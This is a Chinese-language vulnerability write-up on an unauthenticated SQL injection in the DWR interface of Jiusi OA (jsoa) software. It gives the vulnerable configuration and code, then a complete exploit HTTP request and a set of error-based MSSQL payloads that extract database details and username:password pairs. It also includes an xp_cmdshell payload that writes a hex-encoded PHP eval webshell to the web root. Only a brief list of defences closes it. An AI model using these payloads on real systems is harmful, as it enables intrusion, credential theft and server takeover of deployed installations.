某OA dwr组件未授权导致SQL注入分析
字数 945 2025-08-22 12:23:06
DWR组件未授权SQL注入漏洞分析与利用
0x01 漏洞概述
北京九思协同办公软件(jsoa)的/workflow/dwr/接口存在未授权SQL注入漏洞。攻击者可以利用该漏洞:
- 获取数据库敏感信息(如管理员凭据、用户数据)
- 高权限情况下可写入Webshell
- 进一步获取服务器系统权限
0x02 漏洞背景
DWR技术简介
Direct Web Remoting (DWR)是一个开源Java库,允许客户端JavaScript直接调用服务器端Java方法。该技术通过动态生成JavaScript代码实现远程调用。
漏洞组件
漏洞位于uk.ltd.getahead.dwr.DWRServlet组件,配置文件中暴露了多个危险方法。
0x03 漏洞分析
配置缺陷
在WEB-INF/web.xml中存在以下关键配置:
<servlet-mapping>
<servlet-name>dwr-workflow</servlet-name>
<url-pattern>/workflow/dwr/*</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>dwr-workflow</servlet-name>
<display-name>DWR Servlet</display-name>
<description>Direct Web Remoter Servlet</description>
<servlet-class>uk.ltd.getahead.dwr.DWRServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>config-webform</param-name>
<param-value>/WEB-INF/xml/jsflow.xml</param-value>
</init-param>
</servlet>
危险方法
配置文件中暴露了多个危险方法,包括:
<include method="getUserStatus"/>
<include method="getUserStatusByEmpIdStr"/>
<include method="getUserStatusByEmpOrgGrp"/>
<include method="getUserStatusByRole"/>
<include method="getLeaderByOrgId"/>
<include method="getWFOnlineUser"/>
<include method="userCanCreateFlow"/>
漏洞代码分析
以getLeaderByOrgId方法为例:
public String getLeaderByOrgId(String operProcOrg) {
WorkFlowBD bd = new WorkFlowBD();
MyInfoBD myInfoBD = new MyInfoBD();
String[] leader = bd.getLeaderListByOrgId(operProcOrg);
// ...
}
问题在于getLeaderListByOrgId方法直接将用户输入的operProcOrg参数拼接到SQL查询中,未做任何过滤处理。
0x04 漏洞复现
复现步骤
- 访问
/jsoa/workflow/dwr/接口 - 点击
workflowSync进入测试方法页面 - 构造恶意请求利用SQL注入
请求示例
POST /jsoa/workflow/dwr/exec/workflowSync.getLeaderByOrgId.dwr HTTP/1.1
Host: target.com
Accept-Language: zh-CN,zh;q=0.9
Content-Type: text/plain
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Content-Length: 122
callCount=1
c0-scriptName=workflowSync
c0-methodName=getLeaderByOrgId
c0-id=1908_1736498493215
c0-param0=string:xml=true' AND 1=CONVERT(int,(SELECT @@version))--
其他可利用方法
除getLeaderByOrgId外,以下方法也存在SQL注入漏洞:
getUserStatusgetUserStatusByEmpIdStrgetUserStatusByEmpOrgGrpgetUserStatusByRolegetWFOnlineUseruserCanCreateFlow
0x05 漏洞利用
信息收集
-- 获取数据库版本
string:xml=true' AND 1=CONVERT(int,(SELECT @@version))--
-- 获取当前数据库用户
string:xml=true' AND 1=CONVERT(int,(SELECT CURRENT_USER))--
-- 获取数据库名称
string:xml=true' AND 1=CONVERT(int,(SELECT DB_NAME()))--
数据提取
-- 获取表名
string:xml=true' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--
-- 获取列名
string:xml=true' AND 1=CONVERT(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'))--
-- 获取数据
string:xml=true' AND 1=CONVERT(int,(SELECT TOP 1 username+':'+password FROM users))--
写入Webshell
string:xml=true'; DECLARE @a varchar(8000); SET @a=0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E; EXEC master.dbo.xp_cmdshell 'echo ' + @a + ' > C:\inetpub\wwwroot\shell.php';--
0x06 防御措施
- 输入验证:对所有输入参数进行严格过滤和验证
- 权限控制:限制DWR接口的访问权限
- 参数化查询:使用预编译语句替代动态SQL拼接
- 组件升级:更新DWR组件到最新安全版本
- 敏感方法限制:移除或保护不必要暴露的方法
- 错误处理:禁用详细的错误信息返回